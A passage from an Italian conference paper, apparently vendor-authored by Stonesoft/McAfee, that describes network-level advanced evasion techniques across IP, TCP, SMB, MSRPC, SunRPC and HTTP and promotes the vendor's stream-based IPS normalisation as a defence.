R. Isermann, “Process fault detection based on modelling and estimation methods - a survey”,
Automatica, vol. 20, n. 4, pp. 1287-1298, 1984.
P. M. frank, “Advanced fault detection and isolation schemes using non linear and robust observers”,
10th IfAC Congress, Munich, vol. 3, pp. 63-68, 1987.
C. Dominguez, M. vidulich, e. vogel, g. McMillan, “Situation awareness: Papers and annotated bibliography”, Armstrong Laboratory, Human System Center, ref. AL/Cf-TR-1994-0085, 1994.
R. Roman, C. Alcaraz and J. Lopez, “The role of Wireless Sensor Networks in the area of Critical
Information Infrastructure Protection”, in Inf. Secur. Tech. Rep., vol. 12, No. 1, pp. 24-31, 2007.
Emilio Turani
Stonesoft, società del Gruppo McAfee
ISP CONTRO AET: PROTEGGERSI DALLE TECNICHE AVANZATE DI EVASIONE PER
UN NUOVO CONCETTO DI NETWORK SECURITY
(ISP VERSUS AET: PROTECTION AGAINST ADVANCED EVASION TECHNIQUES FOR A
NEW CONCEPT OF NETWORK SECURITY)
Sommario
Il paradigma della Network Security sta cambiando e
assistiamo a metodi di hacking sempre più evoluti e diffusi.
Un esempio significativo sono le Advanced Evasion
Techniques (AETs). Alcuni dicono che è una minaccia solo
teorica; sta di fatto che i rischi crescono.
Gli ultimi attacchi verso aziende di alto profilo, sia tecnico sia d’immagine, hanno avuto successo e non sono stati ancora spiegati. L’analisi delle tracce ha confermato la possibilità
che possano essere stati veicolati mediante l’utilizzo delle evasion techniques.
Stonesoft, società del Gruppo McAfee, ha fatto una grande ricerca e una allarmante scoperta sulla potenza delle evasioni quando le tecniche si fanno avanzate e indirizzate contro
i principali strumenti di sicurezza: il 99% di essi non è in
grado di rilevarne le tracce.
La domanda viene naturale: esiste una soluzione per le
AET e cosa rende un dispositivo di sicurezza capace di proteggere da esse?
Questa ricerca analizza questi fattori e presenta la risposta e gli elementi di novità che Stonesoft ha rilevato.
A bstract
Network security paradigm is shifting and we are witnessing era of more advanced hacking methdods becoming mainstream. One example of those methods spreading is advanced
evasion techniques (AETs). While it is not a new security
issue security and being around more than a decade security
vendors have been systematically ignoring the threath saying it
is only theoretical. Of course we can debate are they theoretical or not but meanwhile the risks are getting higher and the
backdoor lies open.
Recent successful and still unexplained attacks against
high profile organizations have proved that evasion techniques
are in use and those who do netcrime forensics can support the
claim. Stonesoft, a McAfee Group Company, made a groundbreaking discovery of the power of evasions when they started
to run advanced and combined evasion techniques against all
the leading security devices. 99% were incapable to detect evasion discuised exploits traces. One clear question raises from
here. Is there proper solution against advanced evasion techniques and what makes a security device to be capable to give
protection against them?
This paper focuses on studying these factors and explaining
of how protection against Advanced Evasion Techniques in
Stonesoft is built and how it differs from others.
1. Panoramica delle tecniche di evasione
altri. Deve quindi essere prevista la ricezione di qualunque
datagramma che risulti comunque interpretabile (per esempio,
prevedere la presenza di errori tecnici che non inficino il significato interpretativo)”. RFC 760 - DoD Standard Internet
Protocol, gennaio 1980.
“L’implementazione di un protocollo deve essere estremamente solida. Ogni implementazione deve essere necessariamente interoperabile con le altre. Se da un lato lo scopo delle
presenti specifiche è quello di fornire la massima chiarezza
riguardo il protocollo in oggetto, permane sempre la possibilità
di interpretazioni differenti. In linea generale un’implementazione del protocollo deve essere prudente nel suo comportamento in invio e liberale nel suo comportamento in ricezione.
Questo principio di robustezza è confermato dall’asserzione:
sii prudente in quello che fai, sii liberale in quanto accetti dagli
Uno dei principi cardine dello standard IP
(Internet Protocol) è proprio la robustezza appena
ricordata. Si tratta di un principio basilare ed è
impensabile anche solo immaginare come Internet
avrebbe potuto essere realizzato senza uniformarvisi.
25
Emilio Turani
I vari protocolli tuttavia sono spesso complicati e
si prestano a varie interpretazioni a livello di implementazione. Attraverso l’uso di combinazioni inusuali di proprietà del protocollo raramente utilizzate,
un cybercriminale può rendere estremamente difficile il rilevamento di un attacco da parte dei sistemi
preposti alla sicurezza informatica. Un cybercriminale può inoltre assemblare del traffico di rete che non
segue rigidamente i protocolli in modo da rendere
ancora più difficoltosa l’identificazione. Se il terminale di destinazione del traffico tenta di interpretarlo
in modo permissivo, l’attacco può svolgersi senza
essere rilevato. Questo tipo di meccanismi di offuscamento viene indicato nel suo complesso come
“tecniche di evasione”.
Principi delle tecniche di evasione
• Trasmissione del traffico in maniera “liberale”
• Progettazione conservativa dei dispositivi di
sicurezza
• Utilizzo di proprietà dei protocolli raramente
utilizzate
• Utilizzo di combinazioni inusuali
• Conformazione del traffico in modo non rigidamente aderente alle specifiche di protocollo
• Sfruttamento delle limitazioni intrinseche dei
dispositivi di sicurezza, sia a livello tecnico sia
a livello di ispezione: capacità di memoria,
ottimizzazione delle performance, inadeguatezze progettuali, ecc.
Le tecniche di evasione sono un mezzo per dissimulare e/o
occultare gli attacchi informatici in modo da evitarne il rilevamento (detection) e il conseguente intervento (Prevention) da
parte dei sistemi di sicurezza. Le tecniche di evasione consentono ai cybercriminali di inviare qualunque tipo di contenuto
pericoloso “exploitando” una vulnerabilità di sistema in modo
da eludere i rilevamenti e i blocchi che altrimenti interverrebbero. I sistemi di sicurezza vengono resi inefficaci contro tali
tecniche di evasione allo stesso modo in cui un velivolo "invisibile" ai radar è in grado di penetrare le difese aeree senza essere rilevato dai sistemi di scoperta (www.antievasion.com/faq).
Affidarsi unicamente all’analisi del protocollo per
bloccare queste tecniche di evasione non è sufficiente. Mentre alcune violazioni di protocollo possono
essere associate direttamente alle tecniche di evasione, molte altre possono essere dovute soltanto a
un’implementazione imperfetta del protocollo stesso.
Inoltre per diversi protocolli sono disponibili pro-
26
prietà e opzioni perfettamente lecite, per quanto
poco conosciute, che vengono utilizzate nelle tecniche di evasione. Perché l’azione di rilevamento sia più
accurata è necessario analizzare lo stream di dati
effettivamente trasmesso. L’attacco potrebbe essere
poi offuscato da AET a molteplici livelli; si rende
quindi indispensabile la normalizzazione del traffico
e un’analisi accurata al livello appropriato.
reti
I punti deboli degli attuali sistemi per la protezione delle
Una domanda più che giustificata da parte degli
utenti finali è: perché molto spesso l’implementazione di una protezione adeguata contro le tecniche di
evasione risulta così complessa? La risposta è che
non è possibile correggere semplicemente il problema come avviene nel caso delle vulnerabilità. I motivi di ciò sono imputabili ai processi di gestione e
ispezione del traffico e alle operazioni di rilevamento. Ognuna di queste capacità di un sistema IPS o
NGFW (Next-Generation FireWall) riveste un’importanza critica nell’implementazione di una protezione adeguata contro le tecniche di evasione.
- Molti dispositivi IPS sono orientati al throughput e dunque non sono in grado di effettuare una normalizzazione completa del traffico
Un dispositivo di sicurezza efficace deve normalizzare integralmente tutto il traffico dati su ogni
layer di protocollo prima di procedere all’ispezione. Molti degli attuali sistemi di sicurezza sono
stati progettati in modo da ottimizzare le performance per soddisfare requisiti di throughput elevati. Come conseguenza tali sistemi ricorrono a
svariate scorciatoie effettuando la normalizzazione e l’ispezione del traffico soltanto parzialmente.
Per esempio, la gestione della segmentazione TCP
viene condotta soltanto per determinate porte e
determinati protocolli. Le tecniche di evasione
possono dunque sfruttare tali debolezze nei processi di normalizzazione e ispezione del traffico.
- Ispezione basata su segmenti o pseudo-pacchetti
Un dispositivo di sicurezza efficace deve essere in
grado di effettuare l’ispezione costante degli
stream di dati anziché limitarsi a segmenti o pseudo-pacchetti. Si tratta di una fondamentale caratteristica progettuale che è estremamente difficile
modificare. Particolarmente nel caso dei prodotti
basati su hardware, la riprogettazione dei disposi-
ISP CONTRO AET: PROTEGGERSI DALLE TECNICHE AVANZATE DI EVASIONE PER UN NUOVO CONCETTO DI NETWORK SECURITY
(ISP VERSUS AET: PROTECTION AGAINST ADVANCED EVASION TECHNIQUES FOR A NEW CONCEPT OF NETWORK SECURITY)
tivi di sicurezza richiede ingenti investimenti in
ricerca e sviluppo. L’ispezione basata su data
stream richiede una capacità di memoria e una
potenza di CPU notevolmente maggiori per
garantire efficacia senza penalizzare il throughput. Per molti vendor si tratta di una “mission
impossible” e ciò comporta capacità di ispezione
non completamente efficaci. Le AET sfruttano
questo punto debole mediante attacchi che travalicano il perimetro di segmenti e pseudo-pacchetti.
- L’approccio basato sulla corrispondenza integrale dei
pattern nelle operazioni di rilevamento e contrasto
Un approccio comparativo basato sulle vulnerabilità è fondamentale per implementare una protezione efficace contro le tecniche di evasione.
Contro queste tecniche un approccio basato sugli
exploit costituisce un pericolo concreto oltre che
un punto debole per la sicurezza a lungo termine.
Nella pratica, un approccio basato sulle signature
e sulla corrispondenza dei pattern risulta impossibile da attuare. Tale approccio non è in grado di
rilevare o bloccare le tecniche di evasione dato
l’enorme numero di combinazioni possibili e
creare signature per tutti i dispositivi risulterebbe
impossibile. Un simile approccio genererebbe un
numero eccessivo di falsi positivi e finirebbe per
bloccare anche il traffico legittimo.
Tutte queste debolezze rendono molti dei principali dispositivi IPS vulnerabili alle tecniche di evasione avanzate. L’esecuzione casuale di 124 AET tra
quelle segnalate attraverso il coordinamento delle
vulnerabilità governato da CERT-FI, il CERT finlandese, lo ha dimostrato chiaramente.
2. Un nuovo approccio: ispezione dei data
stream con analisi multi-layer dei protocolli
L’approccio adottato da Stonesoft presenta due
fondamentali differenze rispetto agli altri approcci.
La prima è costituita dal modificare il meno possibile il traffico in transito, la seconda dal concentrare
l’attenzione sui data stream a livello applicativo dove
effettivamente risiedono gli attacchi anziché sui datagrammi IP e sui segmenti TCP utilizzati per trasportarli.
Nei layer più bassi Stonesoft IPS verifica che vi
sia un unico modo particolare per ricostruire il data
stream. Stonesoft generalmente permette il transito
di IP-fragments e TCP-segments correttamente formati così come sono. Tuttavia, i frammenti o i segmenti contenenti dati conflittuali o sovrapposti vengono scartati. Tale processo di normalizzazione stabilisce l’applicazione di un metodo univoco per
interpretare il traffico di rete in transito attraverso la
piattaforma IPS, in modo tale che lo stream di dati
effettivo possa essere riassemblato in maniera affidabile per l’ispezione nei layer superiori.
A differenza di molti sistemi concorrenti che
essenzialmente analizzano i singoli segmenti TCP, il
processo di ispezione sviluppato da Stonesoft è
incentrato sull’analisi dei data stream a vari livelli. Per
esempio, i dati trasmessi in una connessione TCP
vengono assemblati in un data stream per effettuare
l’ispezione mano a mano che i segmenti TCP giungono a destinazione. Si tratta di un approccio incomparabilmente più efficace per rilevare gli attacchi
all’interno degli stream di dati, in quanto gli approcci basati sull’ispezione dei singoli segmenti hanno
difficoltà a rilevare attacchi estesi su più segmenti
TCP.
Nei layer superiori Stonesoft è in grado di riconoscere determinati elementi dei protocolli all’interno dei data stream e, se le circostanze lo richiedono,
di analizzarli come stream di dati separati, i quali
possono essere normalizzati a seconda del tipo di
protocollo. Per esempio, il traffico HTTP compresso viene decompresso e ispezionato e le named pipe
MSRPC che utilizzano una stessa connessione SMB
vengono sottoposte a de-multiplexing e quindi ispezionate separatamente.
Questo approccio incentrato sui data stream con
analisi multi-layer dei protocolli, comprensivo di
normalizzazione dei dati specifici di protocollo a differenti livelli, è il punto di forza della soluzione
Stonesoft e rende possibile l’ispezione approfondita
del traffico di rete. In Tabella 1 è riportato un riepilogo delle principali differenze fra il nuovo approccio adottato da Stonesoft e l’approccio tradizionale.
3. IP
IP è il protocollo della suite TCP/IP utilizzato
per trasmettere datagrammi dall’origine alla destinazione. Il protocollo IP non garantisce in alcun modo
che i datagrammi giungano a destinazione: qualunque funzione in tale senso deve essere implementata
nei layer superiori dello stack di protocollo.
27
Emilio Turani
Nuovo approccio
Approccio tradizionale
Accento posto sui data stream di livello applicativo
Accento posto su datagrammi e segmenti TCP
Normalizzazione del traffico
Minime modifiche del traffico
Maggiori modifiche e interpretazioni del traffico
Ispezione
Analisi multi-layer dei protocolli
Analisi su singolo layer
Ispezione dei data stream
Rilevamento
Ispezione dei singoli segmenti
Rilevamento combinato di vulnerabilità e tecniche di evasione
Rilevamento basato su streaming
Vulnerabilità, exploit, shellcode, banner-matching
Rilevamento basato su segmenti
Tabella 1: Riepilogo delle principali differenze fra il nuovo approccio adottato da Stonesoft e l’approccio tradizionale.
Quando un datagramma IP viene trasmesso su un
link in cui l’unità massima di trasferimento (MTU) è
più piccola del datagramma stesso, quest’ultimo deve
essere suddiviso in più frammenti IP. La gestione di
tali frammenti richiede una particolare cura in ottica
di normalizzazione del traffico.
Esempio di evasione su IP
Una ben nota tecnica di evasione riguardante il
layer IP consiste nel frammentare il datagramma IP e
di inviare i frammenti fuori sequenza.
“Un sistema IDS incapace di gestire frammenti
fuori sequenza è vulnerabile: un attaccante infatti può
mischiare intenzionalmente il proprio stream di
frammenti in modo da eludere l’IDS” (Newsham &
Ptacek, 1998). Inoltre, i sistemi IDS vengono messi
in difficoltà dal fatto che “i frammenti ricevuti devono essere conservati fino a quando lo stream viene
riassemblato nel datagramma IP completo”
(Newsham & Ptacek, 1998).
La deframmentazione IP, ovvero la raccolta, l’ordinamento e la convalida dei frammenti, viene svolta
in maniera efficace dalla maggior parte dei moderni
sistemi IPS. In alcuni casi, però, la gestione dei dati
sovrapposti o malformati può essere fonte di problemi o potenziali angoli ciechi nei sistemi IPS.
Un nuovo approccio
Stonesoft IPS raccoglie i frammenti IP in arrivo e
conduce una serie di controlli che consentono di
identificare eventuali frammenti IP malformati. I
frammenti IP sovrapposti contenenti dati conflittuali vengono identificati e scartati.
28
Quando tutti i frammenti sono stati ricevuti e
riassemblati in un datagramma IP completo,
Stonesoft IPS passa il datagramma al layer di protocollo successivo per l’effettuazione della normalizzazione e di ulteriori controlli. Nessun frammento
viene passato senza che il datagramma IP sia stato
riassemblato con successo.
4. TCP
Il protocollo TCP fornisce alle applicazioni una
funzionalità di data stream orientato alla connessione. Una volta creata una connessione, ogni endpoint
può scrivere all’interno dello stream i dati che saranno ricevuti da un altro endpoint. Il protocollo TCP
“confeziona” i dati dello stream in segmenti TCP che
vengono inviati in forma di datagrammi IP. Una volta
che i dati sono giunti a destinazione, il ricevente invia
ricevuta al mittente (aknowledge, o ACK). In caso di
mancato ACK, dopo un timeout si provvede a ritrasmettere i dati non pervenuti correttamente.
Tecniche di evasione su TCP
I segmenti TCP possono giungere all’endpoint
fuori sequenza e possono anche verificarsi duplicazioni. In particolar modo, per motivi prestazionali il
mittente può inviare più segmenti senza attendere
che il destinatario restituisca l’ACK. Il protocollo
TCP fornisce un metodo per controllare il flusso
della trasmissione che prevede la regolazione della
finestra TCP con l’indicazione della quantità di dati
accettabile dal ricevente.
4.1. Un nuovo approccio: reassembly dello
stream TCP
Un altro aspetto che caratterizza l’approccio di
Stonesoft riguarda l’analisi condotta sui contenuti
effettivamente trasmessi attraverso le connessioni
TCP. A tale scopo Stonesoft assembla i segmenti
TCP in un data stream che viene successivamente
analizzato. Per contrastare le tecniche di evasione
basate sulla sovrapposizione dei segmenti TCP con
contenuti conflittuali, i segmenti TCP vengono tenuti in memoria fino a quando l’endpoint di destinazione ne conferma la ricezione mediante ACK.
Questo approccio comporta una maggiore allocazione di memoria, in quanto per ogni connessione
è necessario prevedere di conservare una quantità di
dati approssimativamente uguale alla dimensione
della finestra TCP: l’impiego di appliance a 64 bit è
quindi decisamente consigliato, in quanto sono in
grado di gestire efficacemente una quantità di
memoria adeguata.
4.2. Un nuovo approccio: la gestione delle
risorse TCP
I dispositivi IPS sono per natura soggetti a limitazioni date dalle risorse disponibili. Ogni connessione TCP richiede il mantenimento dello stato e potenzialmente la conservazione di diversi segmenti TCP.
Per effettuare un’efficiente gestione delle risorse IPS
è necessario scendere a un compromesso tra un
comportamento ad alte performance, dando la sensazione di “virtual wire”, e la robustezza contro le
tecniche di evasione. Stonesoft IPS supporta diversi
metodi alternativi per bilanciare i diversi aspetti operativi, come l’utilizzo delle risorse e il livello di ispezione, senza modificare il traffico.
Il problema è che gli endpoint di una connessione TCP possono consentire finestre di trasmissione
anche di grandi dimensioni e, come abbiamo visto, i
segmenti TCP devono essere conservati in memoria
fino a quando il destinatario confermi la corretta
ricezione. Ciò è necessario per poter riconoscere i
segmenti TCP sovrapposti con contenuti conflittuali. È quindi necessario conservare una quantità di
dati all’incirca uguale alle dimensioni della finestra
TCP, ma, date le dimensioni finite della memoria
centrale, per poter ispezionare un gran numero di
connessioni, è indispensabile limitare tale valore.
Stonesoft ha messo a punto i due metodi di seguito
descritti per gestire il traffico.
4.2.1. TCP Strict Mode
Nella modalità TCP Strict Mode Stonesoft forza
i segmenti TCP a transitare nell’ordine previsto. Se i
segmenti arrivano nell’ordine sbagliato, i segmenti
che seguono vengono tenuti in attesa fino all’arrivo
dei segmenti che li precedono. Lo stream applicativo
verrà ispezionato fino a quel punto.
La modalità TCP Strict Mode costituisce anche
un’eccezione alla regola base che vuole che i segmenti TCP transitino inalterati. In questa modalità
Stonesoft può resettare gli option bit TCP dubbi e
modificare le dimensioni della finestra nell’header
TCP, azioni queste che possono limitare il throughput. In considerazione del maggiore rigore della
modalità TCP Strict Mode e della possibilità di modificare i frame in transito nel dispositivo, le performance sono generalmente inferiori rispetto a quella
definita come modalità TCP Normal Mode, descritta di seguito.
4.2.2. TCP Normal Mode
Nella modalità TCP Normal Mode Stonesoft
non richiede il passaggio dei segmenti TCP nell’ordine corretto. Se i segmenti arrivano in un ordine
diverso, i segmenti che seguono transitano comunque ma vengono conservati in memoria. Quando
nella connessione viene identificato il segmento TCP
successivo, Stonesoft ricostruisce lo stream fin dove
può e passa i dati al processo di ispezione. Se il processo rileva una minaccia, il segmento TCP in oggetto viene scartato e la connessione terminata. Ciò permette di bloccare le tecniche di evasione che prevedono il riordinamento dei segmenti TCP.
Conservare i segmenti TCP ovviamente richiede
memoria. Se non è possibile allocare memoria sufficiente per conservare tutti i segmenti della finestra
TCP, essenzialmente sono possibili due opzioni.
Per enfatizzare le performance si possono lasciare transitare i pacchetti senza procedere all’ispezione;
in alternativa, per mantenere l’affidabilità dell’ispezione, il sistema IPS può essere configurato in modo
da scartare i pacchetti giunti eccessivamente in anticipo rispetto alla posizione corrente nello stream di
dati. Ciò non costituisce una violazione del protocollo TCP in quanto i segmenti TCP vengono trasmessi in forma di datagrammi IP e non vi sono
garanzie che un datagramma IP giunga a destinazione. Questo approccio fa leva sulla capacità dell’implementazione TCP di inviare nuovamente i seg-
29
Emilio Turani
menti dopo un timeout e il drop del frame inoltre
controlla indirettamente la finestra di congestione
dello stack TCP del mittente.
4.3. Un nuovo approccio: Urgent Data
Il protocollo TCP incorpora un meccanismo per
segnalare l’immissione di dati urgenti nel data stream.
Gli header TCP contengono le informazioni relative
alla posizione dei dati urgenti all’interno dello stream.
In base alle specifiche IETF, il meccanismo di
segnalazione dei dati urgenti del protocollo TCP si
limita a segnalare un punto di particolare rilevanza
all’interno del data stream cui le applicazioni possono “saltare” prima di aver elaborato qualunque altro
dato. I dati urgenti devono comunque essere inviati
“in-band” all’applicazione.
Sfortunatamente, quasi tutte le implementazioni
TCP processano i dati TCP urgenti in maniera differente. Le applicazioni possono decidere di ricevere i
dati urgenti in linea oppure fuori banda. Se i dati
urgenti sono inviati “out-of-band”, essi vengono
esclusi dal normale data stream.
Come conseguenza, implementazioni differenti
del protocollo TCP possono vedere un data stream
diverso, la qual cosa fornisce un’opportunità per le
tecniche di evasione. Fortunatamente la modalità
Urgent viene utilizzata raramente; Stonesoft IPS fornisce comunque diverse opzioni per terminare le
connessioni nel caso in cui venga rilevato l’utilizzo
del bit Urgent. (Un’altra alternativa consiste nel resettare i bit e i puntatori URG nei segmenti TCP).
5. AET e SMB
La tecnologia SMB (Server Message Block), nota anche
come CIFS (Common Internet File System), è un protocollo
di rete del layer applicativo che viene utilizzato principalmente
per fornire l’accesso condiviso a file, stampanti, porte seriali e
comunicazioni in genere tra i nodi di una rete. Questo protocollo fornisce anche un meccanismo di comunicazione autenticato fra processi. Nella maggioranza dei casi l’utilizzo del protocollo SMB ha luogo su computer equipaggiati con il sistema
operativo Microsoft Windows, nell’ambito del quale era noto
come “Microsoft Windows Network” prima della successiva
introduzione di Active Directory. – Wikipedia.
Tecniche di evasione SMB a livello TCP
È possibile suddividere i dati SMB write (ad
30
esempio MSRPC) in segmenti di dimensione arbitraria. È anche possibile generare scritture SMB in multiplexing su named pipe o file differenti all’interno di
un’unica connessione TCP.
Ciò richiede ai sistemi IPS/NGFW la capacità di
supportare le funzioni di convalida e normalizzazione del protocollo SMB.
Un nuovo approccio
Stonesoft incorpora più contesti di corrispondenza per la lettura e la scrittura dei file sul protocollo
SMB. L’utilizzo delle named pipe di Windows in
associazione con il protocollo SMB rappresenta però
un’applicazione particolarmente interessante da analizzare.
Le named pipe di Windows possono essere utilizzate in associazione con il protocollo SMB per trasmettere richieste MSRPC (Microsoft Remote
Procedure Call). La piattaforma Stonesoft provvede
ad analizzare attentamente il traffico: le scritture (e
letture) di piccole dimensioni vengono deframmentate per l’analisi MSRPC e ogni named pipe che utilizza la medesima connessione SMB viene esaminata
separatamente (dopo adeguato de-multiplexing).
6. AET e MSRPC
Il meccanismo RPC (Remote Procedure Call)
permette a un’applicazione di invocare trasparentemente procedure remote come se queste venissero
eseguite localmente. MSRPC è l’implementazione di
Microsoft del meccanismo DCE RPC. Microsoft ha
aggiunto al sistema DCE RPC nuovi protocolli di
trasporto,
in
particolare
il
protocollo
ncacn_np_transport, che utilizza le named pipe
incorporate nel protocollo SMB.
(http://www.hsc.fr/ressources/articles/win_net
_srv/msrpc_intro.html).
Esistono numerose vulnerabilità che coinvolgono
il meccanismo MSRPC e i servizi Windows che lo
utilizzano. Il meccanismo MSRPC può essere utilizzato con i protocolli TCP/UDP SMB o HTTP.
Tecniche di evasione su MSRPC
Il protocollo MSRPC supporta le codifiche Littleendian e Big-endian dei dati, la prima delle quali
viene utilizzata comunemente, mentre la seconda,
sebbene accettata dalla varie implementazioni, in
taluni casi può essere utilizzata come tecnica di evasione.
tuare il processo di fingerprinting.
I messaggi RPC frammentati possono essere utilizzati come meccanismo di offuscamento per occultare un attacco. Stonesoft IPS deframmenta le richieste MSRPC frammentate. Per applicare le “fingerprint” corrette, Stonesoft IPS analizza l’esecuzione
del protocollo fornendo al sistema di “fingerprinting” le informazioni necessarie (object-UUID,
campo OpNum, endianness) in aggiunta ai dati
richiesti relativi al payload. Il sistema controlla inoltre esplicitamente alcune tecniche di evasione, come
modificare l’endianness (ordine dei byte) durante
una connessione.
HTTP (Hypertext Transfer Protocol) costituisce
il fondamento del World Wide Web, in cui viene utilizzato per trasmettere ipertesti e altri tipi di dati.
Tipicamente un browser Web (il “client”) apre
una connessione TCP con un sito Web (il “server”),
richiedendo una risorsa, quale un documento ipertestuale o un’immagine, che viene quindi inviata dal
server. Il protocollo HTTP può essere utilizzato dal
client anche per inviare dati al server a scopo di elaborazione, come quando viene utilizzato un form
WWW.
Il protocollo HTTP rappresenta oggi una delle
principali vie di attacco attraverso computer. Se un
client viene ingannato e portato a richiedere un file
recante un contenuto malevolo, è possibile che tale
contenuto sia in grado di sfruttare una vulnerabilità
sul computer client per ottenere accesso al sistema.
Un nuovo approccio
7 AET e SunRPC
ONC RPC (Open Network Computing Remote
Procedure Call) è un meccanismo RPC diffusamente utilizzato. Il sistema ONC, sviluppato in origine da Sun
Microsystems nell’ambito del progetto Network File System,
viene indicato talvolta come Sun ONC o Sun RPC. -Wikipedia.
Quando un messaggio RPC viene trasmesso
mediante un protocollo per il trasporto di byte
stream, come TCP, è necessario delimitare un messaggio dall’altro allo scopo di rilevare e correggere
eventuali errori di protocollo. Questa procedura
viene definita Record Marking (RM). Sun utilizza
questo meccanismo di trasporto RM/TCP/IP per
trasmettere messaggi RPC nello stream TCP. A un
messaggio RPC corrisponde un record RM e un
record è composto da uno o più frammenti. -- RFC
1057.
Tecniche di evasione su SunRPC
I messaggi SunRPC frammentati possono essere
utilizzati come meccanismo di offuscamento per
occultare un attacco.
Un nuovo approccio
La piattaforma Stonesoft analizza il protocollo
Record Marking e deframmenta internamente al
sistema i messaggi RPC frammentati prima di effetSpeciale Sicurezza ICT
8. AET e HTTP
Tecniche di evasione su HTTP
Il protocollo HTTP è il protocollo più utilizzato
nel mondo; i contenuti e le applicazioni, anche grazie al Web 2.0, sono assai numerosi. HTTP veicola
veri e propri linguaggi di programmazione, come per
esempio PHP e Javascript, per permettere quell’interattività che ormai tutto il mondo conosce e apprezza. Ogni applicazione, contenuto o sito potrebbero
essere soggetti a singole vulnerabilità, che, sommate
alle vulnerabilità dei browser, offrono un ventaglio di
possibilità potenzialmente infinito. Le tecniche AET
forniscono un veicolo formidabile per esempio alle
Injection PHP per raggiungere quei server vulnerabili, situazione tutt’altro che remota nei casi di mancato patching. Inoltre i firewall personali e aziendali
permettono quasi sempre il traffico HTTP al contrario dei protocolli appena analizzati: questo aumenta
di molto il rischio.
Tool di attacco ai siti web sono disponibili in
maniera semplice, cosi come il loro utilizzo risulta
agevole anche per persone non particolarmente
esperte.
Le tecniche di evasione più comuni prevedono la
modifica della segmentazione dei datagrammi IP, in
modo da non permettere un riassemblaggio efficiente dello stream e quindi non riconoscere l’exploit.
Anche la modifica delle opzioni TCP (segmentazio-
31
Emilio Turani
ne, etc) è molto efficace e permette di veicolare uno
qualsiasi degli infiniti attacchi noti.
Un nuovo approccio
Il modulo HTTP in Stonesoft IPS analizza l’esecuzione del protocollo utilizzando tecniche di parsing e verifica per identificare eventuali attacchi e tecniche di evasione.
Il modulo HTTP è in grado anche di estrarre
alcuni elementi, quali header e URL richiesti, ispezionandoli in un diverso ambito contestuale di analisi.
Prima di procedere all’ispezione questi elementi vengono normalizzati in maniera appropriata: gli URL
vengono decodificati e ricodificati in formato normalizzato (ciò comprende codifica esadecimale degli
ottetti, caratteri Unicode, trasposizione dei codepage
IIS e directory traversal). I Content-TransferEncoding (quali chunked, gzip e deflate) vengono
decodificati prima di transitare al processo di fingerprinting. I parametri dell’URL nella linea di richiesta
e nel body POST vengono combinati per contrastare questo genere di tecniche di frammentazione.
9. Gestione centralizzata e protezione dalle
tecniche di evasione
In genere le aziende implementano decine di
sistemi tra firewall, IPS, VPN SSL e altri dispositivi di
rete fisici e virtuali. Nella protezione delle reti la
gestione centralizzata è diventata una linea difensiva
imprescindibile per combattere minacce via via sempre più sofisticate. In assenza di una gestione centralizzata anche un’operazione semplice come aggiornare una regola a livello dell’intera infrastruttura diventa un’attività manuale estremamente lenta e soggetta
all’errore umano. E infatti Gartner Inc. stima che
oltre il 99% di tutte le falle nella sicurezza siano
imputabili a errori di configurazione.
McAfee Security Management Center (SMC)
powered by Stonesoft è un efficace tool per la gestione centralizzata, che consente agli amministratori di
monitorare agevolmente lo stato dei vari dispositivi
di sicurezza presenti sull’intera rete. Nel caso di un
attacco alla rete, SMC può essere utilizzato per
implementare in maniera rapida e decisiva nuove
policy di sicurezza nell’intera infrastruttura. SMC
può inoltre essere utilizzato per distribuire in modo
efficiente pacchetti dinamici di aggiornamento anche
per contrastare nuove tecniche di evasione, nonché
32
“fingerprint” atte a controbattere le minacce di rete
più recenti. In mancanza di una gestione centralizzata dei dispositivi di rete risulta praticamente impossibile monitorare e aggiornare sistemi di rete disparati
con la tempestività necessaria. Per molte tipologie di
minaccia la gestione centralizzata è una delle più
importanti linee difensive, se non la più cruciale. Nel
caso degli attacchi AET, nei quali tecniche di evasione avanzate consentono di recapitare il payload senza
allertare firewall e dispositivi IPS, non esiste una
soluzione a prova di bomba. Per contrastare questo
genere di minacce dinamiche la protezione di una
rete deve essere aggiornata costantemente. Perfetta
conoscenza della situazione, analisi dettagliata dei
metodi di attacco e piena comprensione del modo in
cui vengono condotti gli attacchi giocano un ruolo
chiave nella lotta a queste minacce. Non si tratta di
elementi sufficienti per comprendere che tipo di
attacco è stato condotto, ma in quale modo.
Esistono enormi differenze nel livello di capacità
di rilevamento e protezione dalle tecniche di evasione fornito dai vari vendor di sistemi per la sicurezza
di rete. Poiché gli amministratori di rete possono non
essere in grado di implementare una protezione
proattiva contro gli attacchi AET, l’unica opzione
praticabile che rimane loro è essere preparati per reagire in maniera tempestiva ed efficace. Ciò significa
essere in grado di monitorare centralmente tutti i dispositivi di rete, indipendentemente dal vendor e
dalla tipologia, alla ricerca di attività sospette. Gli
amministratori devono poter identificare con precisione l’attacco, bloccarlo e aggiornare e configurare
rapidamente i dispositivi di rete in modo da ridurre al
minimo i danni. Un’unica console di gestione centralizzata consente agli amministratori non soltanto di
effettuare il monitoraggio da un’unica postazione, ma
anche di creare le configurazioni una volta soltanto
per poi distribuirle a tutti i dispositivi presenti sulla
rete.
Diversi test di laboratorio indipendenti mostrano
però che non esiste protezione efficace al 100% dagli
attacchi AET. In realtà i test attuali rivelano soltanto
l’effettiva capacità dei dispositivi di rilevare e bloccare un numero delimitato di tecniche di evasione note
e ben determinate, ma non sono in grado di mostrare il comportamento di tali sistemi quando vengano
attuati anche soltanto lievi cambiamenti alle tecniche
di evasione oppure vengano utilizzate combinazioni
complesse di più tecniche. La natura dinamica e in
costante evoluzione degli attacchi AET rende la
gestione centralizzata un elemento imprescindibile
per la protezione delle reti e delle risorse critiche ad
esse associate.
10. Ricerca e sviluppo e prove di laboratorio
interne: capacità 24/7 contro le AET
Da quando nel 2010 Stonesoft ha annunciato la
scoperta di numerose vulnerabilità nelle protezioni
contro le tecniche di evasione nella maggior parte dei
dispositivi di sicurezza in commercio, questa problematica è al centro del dibattito nell’intera comunità
degli addetti alla sicurezza delle reti a molteplici livelli: ricerche accademiche, test di laboratorio indipendenti, organizzazioni di produttori e società di consulenza specializzate in sicurezza. Le attività nel
campo della ricerca e sviluppo devono essere reindirizzate verso la prevenzione contro metodi di attacco differenti anziché rimanere fortemente sbilanciate verso gli exploit, come avviene attualmente.
L’eliminazione di metodi di attacco (delivery) differenti rappresenta un sistema di gran lunga più efficace per raggiungere superiori livelli di protezione. Una
simile strategia di sicurezza di tipo preventivo e
proattivo è fondamentale anche per una protezione
efficace contro le tecniche di evasione. Per i produttori di dispositivi di sicurezza, una costante attività
interna di ricerca e sviluppo e di messa a punto dei
prodotti riveste un’importanza capitale. Metodologie
automatizzate per la convalida approfondita di
